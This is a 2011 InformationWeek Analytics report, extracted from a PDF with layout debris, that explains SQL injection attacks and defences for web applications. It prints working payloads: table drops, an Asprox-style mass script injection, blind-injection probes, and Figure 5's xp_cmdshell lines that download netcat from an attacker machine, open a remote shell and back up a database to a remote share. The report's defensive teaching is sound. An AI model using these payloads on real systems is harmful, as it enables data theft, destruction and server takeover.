Sie sind auf Seite 1von 22
A n a l y t i c s . I n f o r
A n a l y t i c s . I n f o r

A n a l y t i c s . I n f o r m a t i o n W e e k . c o m

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

Presented in conjunction with

J u l y

2 0 1 1 $ 9 9

s i o n Presented in conjunction with J u l y 2 0 1 1

Stop SQL Injection: Don’t Let

Thieves in Through Your Web Apps

Think your corporate website isn’t vulnerable to a SQL injection attack? Start rethinking. SQL injection is among the most prevalent—and most dangerous—techniques for exploiting Web applications and attacking back-end databases that house critical business information at companies of every size. And it persists despite relatively simple and effective countermeasures. Here, we explain how SQL injection works, and how to secure your Web apps and databases against it.

Report ID: S3100711

By Brad Causey

F

O

E

L

B

A

T

F O E L B A T Analytics.InformationWeek.com S Q L S t r a t

Analytics.InformationWeek.com

S Q L

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

4

Author’s Bio

 

5

Executive Summary

 

6

Web Apps: Gateway to Corporate Data

6

The Lowdown on SQL Injection

 

7

Normal Web Application-Database Interaction

7

The Attacker Looks for an Opening

8

Digging Deeper

 

10

Automated Attacks

 

11

Automated SQL Injection in Action

13

Taking Over

 

13

Blind, But Not Helpless

 

15

Putting Blind SQL Injection to Work

17

Preventive Measures: Secure Application Coding

17

Method 1: Input Validation

 

18

Method 2: Escaping

 

19

Method 3: Parameterized Queries

 

19

Another Tack: Stored SQL Procedures

20

Enforce Least Privilege

 

21

Combine Best Practices

22

Related Reports

 

I n j e c t i o n

22 Related Reports   I n j e c t i o n 2 July 2011

F

O

E

L

B

A

T

F O E L B A T Analytics.InformationWeek.com S Q L I n j e c

Analytics.InformationWeek.com

S Q L

I n j e c t i o n

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

 
 
 

6

Figure 1: Source of Data Breaches

 

8

Figure 2: Rising Cost of Data Breaches

 

10

Figure 3: Web Application Vulnerabilities Discovered in 2010

12

Figure 4: SQL Injection Illustrated

 

14

Figure 5: SQL Injection Under the Hood

 

16

Figure 6: 2011 CWE/SANS Top 25 Most Dangerous Software Errors

ABOUT US | InformationWeek Analytics’ experienced analysts arm business technology decision-makers with real-world perspective based on a combination of qualitative and quantitative research, business and technology assessment and planning tools, and technology adoption best practices gleaned from experience. If you’d like to contact us, write to managing director Art Wittmann at awittmann@techweb.com, content director Lorna Garey at lgarey@techweb.com and research managing editor Heather Vallis at hvallis@techweb.com. Find all of our reports at www.analytics.informationweek.com.

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Report author Brad Causey is an active member of the security and forensics community worldwide, focusing largely on Web application security as it applies to global and enterprise arenas. He is currently employed as a security analyst. Brad is the president of the Open Web Application Security Project (OWASP) Alabama chapter, a member of the OWASP Global Projects Committee and a contributor to the OWASP Live CD. He is also the president of the International Information Systems Forensics Association chapter in Alabama. Brad is an author of several books and hundreds of articles in publications.

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

SQL injection continues to be one of the primary methods by which attackers exploit vulnerable Web applications and gain access to critical corporate databases. These attacks strike various types of infrastructures and software platforms; sometimes they are launched from inside the cor- porate network, but more typically external attackers use globally accessi- ble Web applications as entry points. In March, for example, hundreds of thousands of sites were compromised by a SQL injection worm. What all these attacks have in common is that they rely on structured data, stored in a relational database in a multitier application structure.

This is the menace of SQL injection; the first step to countering the threat is to understand it. In this report, we explain how attackers use this ubiq- uitous method to exploit Web applications—in some cases, even when they don’t know the nature of the vulnerabilities they are exploiting. We also demonstrate some basic ways to protect your apps and critical busi- ness databases against SQL injection.

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Web Apps: Gateway to Corporate Data

Insider attacks justifiably draw a lot of attention, but external attacks are behind most corpo- rate data breaches (see Figure 1, below). If attackers successfully exploit your Web application vulnerabilities using SQL injection, cross-site scripting and other less prevalent but damaging methods, they can steal credit card numbers, customer or patient information and other valu- able business data. And a significant breach is likely to cost your company millions of dollars in notification expenses, complimentary services, such as free credit reporting for a year, and credit card replacement. Brand damage can be incalculable.

Data breach incidents cost U.S. companies $214 per compromised customer record in 2010, according to the Ponemon Institute’s sixth annual U.S. Cost of a Data Breach study; the average total per-incident cost was $7.2 million (see Figure 2, page 8). Attackers use a variety of meth- ods and tools to penetrate enterprises, including social engineering and targeted phishing attacks and, increasingly, sophisticated malware. But Web applications are the gateway to cor- porate databases, and they are rife with SQL injection vulnerabilities that can be exploited to penetrate the enterprise.

The Lowdown on SQL Injection SQL injection flaws are arguably public enemy No. 1. Even after years as a leading Web securi- ty threat, SQL injection still makes up the largest portion of the vulnerabilities discovered

Figure 1

Source of Data Breaches

Nearly half of data breaches are perpetrated by internal agents.

External Attacks

are perpetrated by internal agents. External Attacks Internal Partners 11% 48% 70% (Total exceeds 100 percent

Internal

perpetrated by internal agents. External Attacks Internal Partners 11% 48% 70% (Total exceeds 100 percent because

Partners

by internal agents. External Attacks Internal Partners 11% 48% 70% (Total exceeds 100 percent because of

11%

48%

70%

(Total exceeds 100 percent because of multiple breach sources) Data: 2010 Verizon Data Breach Investigation Report

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

today. In 2010, they were by far the most commonly found Web application vulnerability, fol- lowed by cross-site scripting errors (see figure 3, page 10) and have been on the OWASP Top 10 list of most serious Web security issues for years. SQL injection, at its most basic level, is simply manipulating an existing SQL query to perform an action not intended by the develop- er. This is typically done through the user interface in some area of a Web application.

But how do these attacks work? And why are they so successful?

Normal Web Application-Database Interaction All SQL injection vulnerabilities begin with nonvalidated user input of some type. User input can take many forms and include anything an attacker can manipulate that is processed by the server in some way. This includes user-agents, HTTP headers, POST parameters, cookies, GET parameters and even referrer headers. What makes nonvalidated user input unique is that the application does not perform sufficient checks to ensure that the input received is of the type and manner expected. Simplified, this means that although your application is written to receive, for example, a string of alphanumeric characters to be input as a user name, it does not validate that input and allows an attacker to insert, in the case of SQL injection, a database query (see Figure 4, page 12).

For example, a typical website requests your user name and expects a result such as “Bob”:

yoursite.com/userdetail.asp?username=Bob

In this example, it is likely that a query, such as the following, is enabling the website to inter- act with the database behind the scenes to fetch information about users such as Bob:

SELECT uname,fname,lname,phone,street,city,state,zip FROM users WHERE user = $var_username

When the Web application code processes this request, the value (“Bob”) from the user name is being passed to $var_username for purposes of completing the query. The server should then format the results of the SQL query and display them so you can view Bob’s details.

The Attacker Looks for an Opening First, an attacker would likely check to see if the application is handling error conditions cor- rectly. There are many ways to check for SQL error messages; each one depends on the data- base itself. The most common example is the apostrophe. The attacker might try inserting the

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

apostrophe instead of, or in addition to, a valid user name.

yoursite.com/userdetail.asp?username=‘

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

The attacker can learn a few things if an error appears. The error below, for example, makes it clear that this is a MySQL database. It also shows that the apostrophe is being interpreted by the database as part of the query. This reveals a possible SQL injection point, and warrants fur- ther investigation.

Error: You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the right syntax to use near

at line 1

We used an apostrophe in this example, but any “reserved” character—that is, a character reserved for special purposes—can be used when testing for database errors. Reserved charac- ters are unique to each database type.

Digging Deeper Now that we know the basics about probing for SQL injection, let’s explore further.

Using the example of the MySQL error shown above, we can put ourselves in the shoes of the attacker, and we may be able to discover additional details about the table(s) being

Figure 2

The Rising Cost of Data Breaches The average cost of a data breach has risen
The Rising Cost of Data Breaches
The average cost of a data breach has risen steadily, climbing to more than $7 million in 2010.
Companies identified lost business (an average of more than $4 million) as the largest cost.
2008
$6,655,758
2009
$6,751,451
2010
$7,241,899
Data: Ponemon Institute Survey, U.S. Cost of a Data Breach
Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

accessed by the application. Let’s try this:

yoursite.com/userdetail.asp?username=Bob order by 1

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

If we do not get an error, we learn that username is either the last variable in the SQL WHERE clause—the coding logic that allows us to retrieve specific data from a database table while excluding other, irrelevant data—or the only variable in the WHERE clause. We can now con- tinue to increment the number by 1 until we get an error. So, for example, when we reach “Bob order by 9,” we might see:

Error: user warning: Unknown column in ‘order clause’ query: SELECT

Now we know that because we did not get errors until we submitted “9,” we have eight columns in the table. While this knowledge is useful, we may simply want to get as much data as possible. Assuming no input validation is present, we can actually return the details from all users simply by using a known wildcard in the place of the user name.

yoursite.com/userdetail.asp?username=%

In this case, we would execute the following query, returning the details from all users:

SELECT uname,fname,lname,phone,street,city,state,zip FROM users WHERE user = %

We have a data breach, with lots of valuable customer information at risk. This may include passwords, which would typically be hashed or encrypted, that the attacker may attempt to crack later. It also may well include email addresses, which can be used in targeted phishing campaigns. Let’s take it to the next level.

Rather than insert a simple wildcard, we can terminate the query and get it to do something else in addition to its intended query.

yoursite.com/userdetail.asp?username=bob; DROP users--

For the sake of comparison, the SQL statement for a Microsoft SQL Server database might look like this:

SELECT uname,fname,lname,phone,street,city,state,zip FROM users WHERE user = ‘bob’; DROP users--

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Note also in this example that SQL Server lets you submit multiple queries in the same line (in this example, the “SELECT” and then “DROP” queries) by separating each from the next with a semicolon and closing with two dashes. This allows you to send a complete query of your own choosing to run after the completion of the initial query.

Automated Attacks There are two broad methods attackers use to take advantage of SQL injection vulnerabilities:

automated and manual. While this may seem obvious, these two kinds of attacks are mechani- cally very different. Automated exploitation is generally the result of a tool built for a specific purpose. LizaMoon and Asprox, for example, use mass injection attacks to maximize their attack breadth and spread their code indiscriminately. These types of mass attacks generally tar- get a very specific application architecture, such as IIS servers running classic ASP with Microsoft SQL Server database servers, in the case of Asprox.

Figure 3

Web Application Vulnerabilities Discovered in 2010 Misc - 9.2% XSS - 17.7% Path traversal -
Web Application Vulnerabilities Discovered in 2010
Misc - 9.2%
XSS - 17.7%
Path traversal - 8.0%
Open redirection - 0.9%
Input validation - 9.5%
Information leakage - 4.7%
String format - 0.5%
Design - 2.9%
CSRF -2.3%
Configuration - 0.8%
Injection - 22.9%
Authentication - 3.8%
Buffers - 16.8%
Data: cve.mitre.org
S3100711/4
Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

With Asprox, the intent was to inject a JavaScript or iframe tag into the page for purposes of distributing viruses.

Automated SQL Injection in Action Here’s an example of an advanced SQL injection attack that was able to inject into only certain field types, and was very effective for a long time in helping criminals distribute viruses:

yoursite.com/ssp.asp?username=bob’;DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE TABLE_CURSOR CURSOR FOR SELECT A.NAME,B.NAME FROM SYSOBJECTS

A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR

B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) OPEN TABLE_CURSOR FETCH NEXT

FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN

EXEC(‘UPDATE [‘+@T+’] SET

[‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT

FROM TABLE_CURSOR INTO @T,@C END CLOSE TABLE_CURSOR DEALLOCATE

TABLE_CURSOR;--

Let’s take a brief look at how this attack works against the back-end database. First, the attack- er declares the Table (T) and Column (C) variables.

DECLARE @T VARCHAR(255),@C VARCHAR(255)

A table cursor that will house the query result is declared:

DECLARE TABLE_CURSOR CURSOR FOR

The following SELECT statement retrieves all user objects with column types “text,” “sysname” and “varchar” and stores the results in the cursor created previously:

SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID

AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167)

The table cursor now retrieves the results and assigns them to the table and column variables:

OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C

WHILE(@@FETCH_STATUS=0)

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

At this point, the attacker has retrieved a list of text-based columns in the database with the intent of modifying their contents. No modification has taken place, but all the necessary recon- naissance is complete to do so. Now the execution of an update statement pushes JavaScript into each column stored in the column variable. The attack is complete, and any pages containing Web content served from any field in the database will instead serve up the attacker’s malicious JavaScript. This JavaScript will then infect the Web user’s computer with a virus:

WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET

[‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT

FROM TABLE_CURSOR INTO @T,@C END

At the very end of the injection, the attacker performs a cleanup to cover any tracks:

CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;--

These attacks are 100% automated; the tool simply searches the Internet using search engine sites for Web servers running classic ASP code. This dispels the common myth, “My site is

Figure 4

SQL Injection Illustrated Account: ‘OR 1=1 -- 1 SKU: Submit SQL query HTTP request “SELECT
SQL Injection Illustrated
Account:
‘OR 1=1 --
1
SKU:
Submit
SQL query
HTTP request
“SELECT * FROM accounts
WHERE acct=“ OR 1=1--’”
2
4
3
DB Table
5
Account Summary
HTTP response
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
The application presents a form to the attacker (1), who uses it to send an attack in the form of an HTTP request to the
application (2). The application then processes the request as it would a normal SQL query (3). The database runs the
query containing the attack and returns encrypted results to the application (4). The application decrypts the data and
sends it to the attacker (5).
Data: OWASP
S3100711/2
Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

small and insignificant, who would want to hack into it?” If you are doing business on the Internet, no matter how big or small your business, you are vulnerable to attack.

Taking Over In many cases, the attacker can take complete control over the underlying operating system of the SQL server; the attacker can even take over the Web application, and ultimately the Web server itself (see Figure 5, page 14).

Taking over the database server can lead to compromise of other applications, and even other servers in the DMZ. Modern Web application architectures commonly have database clusters, which share data stores with other systems, or even reside in less secure areas of the network. With this in mind, an attacker can use the method mentioned above to bypass typical IP source filtering rules in firewalls to attack the internal network, and might even use the SQL server to host viruses, pornography or other illegal wares.

Also, by first taking over the database server, an attacker can modify the behavior of the Web application (as seen in the Asprox example). Often, this includes running commands locally on the Web server in the context of the Web server service account. If the service account has ele- vated privileges, the attacker can issue commands directly to the Web server’s operating sys- tem, through the database server.

In some cases, data is extracted from the DMZ database servers by scheduled routines, and pushed into the internal (trusted) network. This can be especially dangerous if the data is viewed by a Web interface in the corporate intranet, as most intranet Web applications operate with a higher level of trust.

Blind, But Not Helpless Often, the SQL error is obscured by the hosting framework, such as a Java or .NET framework. In some cases, errors are handled automatically by error-handling code, or even by the under- lying code interpreter. Take this request, for example, in which the attacker uses an apostrophe instead of valid input:

yoursite.com/userdetail.asp?username=‘

Analytics.InformationWeek.com The result: S t User not found. r a t e g y S

Analytics.InformationWeek.com

The result:

S

t

User not found.

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

This tells us that either the Web application is properly vetting user input or the framework is blocking robust error messages from being displayed. In cases like this, performing SQL injec- tion becomes more difficult, but not impossible. Enter, blind SQL injection.

Blind SQL injection works by checking to see if the database server actually processes the request, or if the request triggers some other reaction from the Web server or SQL server.

For example, we have seen the request that can provide us with Bob’s user details if the attack is successful. However, the “WAITFOR DELAY” instruction will instruct the SQL server to pause for one minute before responding with the results of the query:

yoursite.com/userdetail.asp?username=bob;WAITFOR DELAY ‘0:1:0’--

Figure 5

SQL Injection Under the Hood

6
6
7 1
7
1
5
5

Page.asp?bob;BACKUP DATABASE DBNAME TO Disk=‘\\attackermachine\share\DBNAME.bak ‘WITH NOFORMAT, INIT, NAME = N’DBNAME-Full Database Backup’, SKIP, NOREWIND, NOUNLOAD, STATS = 10”--

3
3
4
4
2
2

Page.asp?bob;TRUNCATE

TABLE adminusers; INSERT ‘evilperson’,’P@asswOrd INTO adminusers

Page.asp?bob;EXEC XP_cmdshell ‘TFTP –I GET http://attackermachine/nc.exe’; EXEC xp_cmdshell ‘nc –l –p

8080 –e cmd.exe’

In this example of an attack aimed at a Microsoft SQL database, the attacker (1) inserts code (2) to exploit a vulnerable Web page (3) to remove all entries from the “adminusers” table. As a result, the attacker not only blocks access by previous administrators but has a full administrative account on the Web application. Using the same vulnerable Web page and the built-in “xp cmdshell” stored procedure, the attacker downloads nc.exe (4) to the local SQL server (5) and executes it. The attacker can now run operating system commands through SQL injection with administrative privileges. Using SQL’s built-in BACKUP tool, the attacker can back up the entire database (6) to a remote location (7). Data: OWASP

S3100711/3

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

If the site is handling invalid user input correctly, it should provide a message back that says simply “User not valid” or some other notification that “bob;WAITFOR DELAY ‘0:1:0’--” is not

a valid user.

This would be the case only if the Web application correctly parsed the username variable value as a single parameter to be supplied into the query to the SQL server.

Traditional SQL injection will return errors that let you know details about why or how your query failed. Essentially, blind SQL injection relies on a Boolean response (yes/no, true/false and so on) from the server: The request either was processed or failed. Blind SQL injection, once discovered, will offer the same possibilities as typical SQL injection, but is much harder to execute and takes longer to get information.

Putting Blind SQL Injection to Work Let’s say we have discovered blind SQL injection on our example page, and wish to discover details about the tables and schema. Take this request:

yoursite.com/userdetail.asp?username=bob AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtype=0x55),1,1)),0)>65--

If we break this down, we can see how the results of this query will essentially be a yes or no

to the question, “Is the first character of this table’s name an ASCII value of greater than 65?”

Starting from the innermost query:

SELECT TOP 1 name from sysObjects WHERE xtype=0x55

This means: Grab the name at the top of the list from sysObjects (all tables) where xtype (object type) is equal to the ASCII of 0x55 (the uppercase letter “U”), which translates to “user tables.” So, basically, we are grabbing the first user-created table in the database. For the sake of simplicity, let’s say the table is “users”:

SUBSTRING(users),1,1

We are now creating a substring that contains the first character of the table name, users. Our value is “u”:

ISNULL(ASCII(u),0)>65

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

We are checking to see if the result of the ASCII value of “u” is greater than 65—validating that the table name begins with a letter. If the answer is yes, the query will be processed. If no, the query will not be processed.

Using this method, we can simply increment our digits on each subsequent query to find the first letter of the first user table. So, for example, if we get a negative response to the “> 117,”

Figure 6 2011 CWE/SANS 25 Most Dangerous Software Errors Rank Score ID Name 1 CWE-89
Figure 6
2011 CWE/SANS 25 Most Dangerous Software Errors
Rank
Score
ID
Name
1 CWE-89
93.8
Improper Neutralization of Special Elements Used in a SQL Command (“SQL Injection”)
2 CWE-78
83.3
Improper Neutralization of Special Elements Used in an OS Command (“OS Command Injection”)
3 CWE-120
79.0
Buffer Copy Without Checking Size of Input (“Classic Buffer Overflow”)
4 CWE-79
77.7
Improper Neutralization of Input During Web Page Generation (“Cross-Site Scripting”)
5 CWE-306
76.9
Missing Authentication for Critical Function
6 CWE-862
76.8
Missing Authorization
7 CWE-798
75.0
Use of Hard-Coded Credentials
8 CWE-311
75.0
Missing Encryption of Sensitive Data
9 CWE-434
74.0
Unrestricted Upload of File With Dangerous Type
10 CWE-807
73.8
Reliance on Untrusted Inputs in a Security Decision
11 CWE-250
73.1
Execution With Unnecessary Privileges
12 CWE-352
70.1
Cross-Site Request Forgery (CSRF)
13 CWE-22
69.3
Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)
14 CWE-494
68.5
Download of Code Without Integrity Check
15 CWE-863
67.8
Incorrect Authorization
16 CWE-829
66.0
Inclusion of Functionality From Untrusted Control Sphere
17 CWE-732
65.5
Incorrect Permission Assignment for Critical Resource
18 CWE-676
64.6
Use of Potentially Dangerous Function
19 CWE-327
64.1
Use of a Broken or Risky Cryptographic Algorithm
20 CWE-131
62.4
Incorrect Calculation of Buffer Size
21 CWE-307
61.5
Improper Restriction of Excessive Authentication Attempts
22 CWE-601
61.1
URL Redirection to Untrusted Site (“Open Redirect”)
23 CWE-134
61.0
Uncontrolled Format String
24 CWE-190
60.3
Integer Overflow or Wraparound
25 CWE-759
59.9
Use of a One-Way Hash Without a Salt
Data: cwe.mitre.org
S3100711/1
Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

we know the first letter is “u,” since the ASCII value of “u” is 117. After we have discovered that, we can simply change our SUBSTRING parameters to select the second letter, then the third and so forth.

Ultimately, even with no error codes, we can discover the entire table structure of a vulnerable Web application’s database through blind SQL injection.

Preventive Measures: Secure Application Coding Secure coding techniques can eliminate the vulnerabilities that allow SQL injection attacks. Let’s explore three basic Web application secure coding methods.

Method 1: Input Validation The most common method of preventing SQL injection at the Web application layer is to use input validation. This is useful regardless of language or platform, and is simply not to take action on any user input before it is validated to be the correct size and type. If you are expect- ing a square, don’t accept a circle.

Take this URL, for example:

yoursite.com/userdetail.asp?userid=9899

Obviously, we are expecting an integer to be input in this GET request. A simple type check will tell us if this is a valid character, ensuring that the application will not process the input unless it is a numeric value.

if (is_numeric($userid)){}

In addition, if our user IDs are always four characters in length, we might want to take this a step further and enforce bounds-checking in addition to the integer check using a regular expression.

if (preg_match(‘\d{4}’, $string)) {}

We are only limited by our creativity on how you validate user input values—the key is to vali- date every single value sent in by the user and used by the system.

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Another way to perform type checking is with ASCII characters. User names are typically alphanumeric, so we are not likely to see “@” symbols or “;” characters. With this knowledge, we could likely parse the user name variable to see if any ASCII characters exist that are not 48-57, 65-90 or 97-122. Any ASCII characters outside these ranges (assuming the Latin char- acter set) will not be valid for the user name variable, and should be rejected. This is an exam- ple of white listing.

It is important to know the difference between white listing and blacklisting. White listing is accepting only values (or characters) known to be safe, such as numbers and letters. Blacklisting means you block or do not accept characters known to be malicious.

Method 2: Escaping So far, type checking and bounds checking seem pretty easy, but not all data types are able to be checked so simply. In many cases we have varchar data types, which are expected to con- tain dangerous characters. This is especially common in comment fields and other long-form text fields.

In these cases, we can use a technique known as escaping to ensure the content of the variable is never parsed as a part of the SQL statement.

Take this request, for example:

yoursite.com/comment.asp?msg=Hello I’m visiting your site

In this case, we have an apostrophe, a character normally considered malicious (recall that we used it in an earlier example), but we don’t want to strip it out because it is used legitimately here, nor do we want to reject the message.

We can get around this, in PHP, for example, by using the mysql_real_escape_string:

mysql_real_escape_string($GET[‘msg’]);

This results in the following, which effectively renders the apostrophe character safe so it will not be used in any MySql queries:

msg=“Hello I\’m visiting your site”

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Similarly, in .NET, it is common to use REPLACE to make the string safe. In the following exam- ple, the REPLACE function puts the apostrophe in quotation marks to make it a safe character:

sql = replace(str, “‘“, “‘“)

Method 3: Parameterized Queries A third method of preventing SQL injection is called parameterized queries. This method is extremely effective because it controls the construction of the SQL statement very tightly. This disallows any major modification to the SQL statement before it is sent to the SQL serv- er for processing.

Using this example, from Java, we simply add our parameter to the already constructed static query. First, we will establish the actual SELECT statement using a question mark as the variable:

String query = “SELECT account_balance FROM user_data WHERE user_name = ? “;

Next, we call the prepareStatement function:

PreparedStatement pstmt = connection.prepareStatement( query );

Then, we assign the string”custname” to the variable in the query:

pstmt.setString( 1, custname);

Finally, we execute the query, and store the results in a variable:

ResultSet results = pstmt.executeQuery( );

By using this method, we are able to be sure no additional, malicious queries or parameters can be added to the query before it is sent to the database. Note that the “custname” variable should still be validated as discussed previously, as it is untrusted user input.

Another Tack: Using Stored SQL Procedures It is entirely possible you may not have the ability to control how strong or weak the input val- idation and control is on a specific Web application. This might be because you don’t have a say in the application’s development life cycle. In many cases, the SQL development is done and may never change, while the Web application code undergoes multiple releases.

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Still, there is good news, even if you only have the ability to control the security through the database. Using stored procedures gives a database administrator options in preventing SQL injection. Creating a stored procedure in Microsoft SQL, for example, is simple. Using our pre- vious example:

yoursite.com/comment.asp?msg=Hello I’m visiting your site

We would create a procedure that expects only the contents of our message.

CREATE PROCEDURE sp_addComment @msg nvarchar(30)

AS

INSERT INTO comments_table

(

)

msg

VALUES

(

)

GO

@msg

On execution, we would direct:

EXEC sp_addComment @msg = $msg

Using this method, we can ensure no unintended queries will be executed. If the value in the $msg variable doesn’t fit into the data type of the procedure, an error will be raised, but no SQL injection condition will be possible.

Enforce Least Privilege The principle of least privilege asserts that no user accounts in use by any tier of a Web appli- cation should have more privileges than absolutely necessary to perform a specific function or set of functions. For example, many installations of MySQL run with root privileges. This is very risky, because any commands run against the system by the MySQL instance will do so

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

with the highest level of permissions possible. In all likelihood, the MySQL instance should need only a few specific permissions on the operating system to do its job.

This same principle can be applied to how the tiers talk to each other. For example, the appli- cation likely uses a SQL user account to perform actions against the database. In many cases, we can assign specific permissions to this user account at the table or even column level that will prevent it from causing damage should it be used maliciously.

If the users table should never be deleted by the Web application service account, remove those permissions from the user. If particular tables should never be modified by the service account, read-only permissions should be sufficient.

Combine Best Practices In addition to the strong security measures described above, it is a good practice to remove unused code, functions, libraries, built-in stored procedures and other unessential objects from every tier of the Web application. In most cases, this will require very deep knowledge of how each tier works, and what parts are needed for each tier to operate. However, removing these unnecessary items will significantly decrease the attack surface, and thus the tools available to an attacker.

One example is the inclusion of the TFTP executable on older Windows operating systems. This executable typically is not used, so it should be removed, or locked down using access control lists, so attackers can’t use it to exfiltrate data.

SQL injection outranks all other Web application vulnerabilities (see Figure 6, page 16). But by using a combination of the techniques covered in this report, you should be equipped to stop SQL injection in its tracks. In most cases, any one of these techniques will have a dramatic pos- itive impact on the security of your Web application and its supporting infrastructure. Just keep in mind that security is an ongoing process, and you must integrate it into the systems development life cycle at every step. By combining security in the development life cycle and performing regular testing, you can achieve a better security posture for your enterprise.

Consider using dynamic Web application testing, tools and manual testing combined with source code reviews on the static code before each release goes live.

Analytics.InformationWeek.com S t r a t e g y S e s s i o

Analytics.InformationWeek.com

S

t

r

a

t

e

g

y

S

e

s

s

i

o

n

S Q L I n j e c t i o n
S Q L
I n j e c t i o n

Want More Like This?

Making the right technology choices is a challenge for IT teams everywhere. Whether it’s sorting through vendor claims, justifying new projects or implementing new sys- tems, there’s no substitute for experience. And that’s what InformationWeek Analytics provides—analysis and advice from IT professionals. Our subscription-based site houses more than 800 reports and briefs, and more than 100 new reports are slated for release in 2011. InformationWeek Analytics members have access to:

Research: 2011 Strategic Security Survey: The 1,084 security pros responding to our

14th annual security survey say CEOs are finally making risk management a priority. They also weigh in on the emerging risk areas of mobile devices and social media, as well as security budgets, software development, compliance and the cloud.

Strategy: Malware War: It’s a never-ending battle as security labs work 24/7 to analyze malicious code and the bad guys design ingenious ways to thwart their efforts.

Strategy: How SMBs Can Fight Cybercrime: Small and midsize businesses are falling

prey to cyberattacks that, in some cases, are cleaning out their corporate bank accounts. Follow these best practices to protect your assets.

Strategy: Database Breaches: Get a close-up look at five high-profile database breaches— including those at Gawker, McDonald’s and Walgreens—to extract critical lessons.

Strategy: Collaboration Security: A coordinated defense against the onslaught of cyber- attacks is a must—but it won’t happen until companies can safely share security-event data with internal teams and external business partners.

PLUS: Signature reports, such as the InformationWeek Salary Survey, InformationWeek 500 and the annual State of Security report; full issues; and much more.

For more information on our subscription plans, please CLICK HERE